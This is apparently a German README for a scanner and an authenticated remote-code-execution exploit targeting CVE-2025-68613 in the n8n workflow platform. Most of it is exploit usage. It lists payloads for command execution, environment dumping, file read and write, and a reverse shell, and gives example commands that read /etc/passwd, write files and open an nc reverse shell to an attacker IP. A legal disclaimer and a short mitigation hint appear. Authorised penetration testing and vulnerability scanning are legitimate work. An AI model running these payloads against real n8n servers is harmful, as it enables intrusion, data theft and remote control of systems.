Authentifizierter RCE-Exploit-PoC und Schwachstellen-Scanner für CVE-2025-68613 in n8n. Unterstützt Befehlsausführung, Dateioperationen und Reverse-Shell-Payloads für autorisierte Sicherheitstests.
Dieses Toolkit bietet Scanner- und PoC-Exploit-Skripte für die kritische CVE-2025-68613-Schwachstelle in der n8n Workflow Automation Platform.
Dieses Repository enthält Scanner- und PoC-Exploit-Skripte für die kritische CVE-2025-68613-Schwachstelle, die die n8n Workflow Automation Platform betrifft.
Dieses Tool ist NUR für LEGALE und AUTORISIERTE Sicherheitstests gedacht. Die Verwendung dieses Tools auf Systemen ohne Genehmigung des Eigentümers ist verboten.
Dieses Tool ist NUR für autorisierte und legale Sicherheitstests gedacht. Unautorisierte Nutzung ist illegal und verboten.
0.211.0 – 1.120.31.121.01.120.4+1.121.1+1.122.0+.
├── tot-scanner-2025-68613.py # Vulnerability Scanner (NO exploit)
├── tot-exploit-2025-68613.py # Authenticated RCE Exploit PoC
├── requirements.txt
└── README.md
Der Scanner wird verwendet für:
Der Scanner:
Der Scanner prüft die folgenden Endpunkte:
//rest/settings/healthz/api/v1/healthBenötigte Pakete:
Inhalt der Datei requirements.txt:
requests>=2.28.0
Erforderliche Pakete:
Inhalt von requirements.txt:
requests>=2.28.0
pip install -r requirements.txt
python3 tot-scanner-2025-68613.py -u http://target.com:5678
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
{
"target": "http://target.com:5678",
"detected": true,
"version": "1.121.0",
"vulnerable": true,
"status": "vulnerable",
"cve": "CVE-2025-68613"
}
| Code | Bedeutung |
|---|---|
| 0 | Nicht verwundbar |
| 1 | Version unbekannt |
| 2 | Verwundbar |
Dieser Exploit ERFORDERT gültige n8n-Anmeldedaten
Authentifizierter Zugriff ist ERFORDERLICH
Der Exploit funktioniert wie folgt:
Set-Knoten| Argument | Erforderlich | Beschreibung |
|---|---|---|
-u / --url | ✅ | Ziel-n8n-URL |
-e / --email | ✅ | E-Mail-Adresse des n8n-Kontos |
-p / --password | ✅ | Passwort des n8n-Kontos |
--payload | ✅ | Payload-Typ |
--command | ❌ | Betriebssystembefehl (cmd) |
--file | ❌ | Dateipfad (read/write) |
--content | ❌ | Dateiinhalt (write) |
--lhost | ❌ | Angreifer-IP (revshell) |
--lport | ❌ | Angreifer-Port (revshell) |
--verify-ssl | ❌ | SSL-Zertifikat verifizieren |
| Payload | Funktion |
|---|---|
info | Systeminformationen |
cmd | Befehlsausführung |
env | Umgebungsvariablen ausgeben |
read | Datei lesen |
write | Datei schreiben |
revshell | Reverse Shell |
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload info
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload cmd --command "id"
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload read --file /etc/passwd
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload write --file /tmp/pwned.txt --content "owned"
nc -lvnp 4444
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
/rest/*-Endpunkte einschränkenDieses Projekt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.
Der Autor ist nicht für Missbrauch verantwortlich.
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python
Bleiben Sie legal. Bleiben Sie ethisch.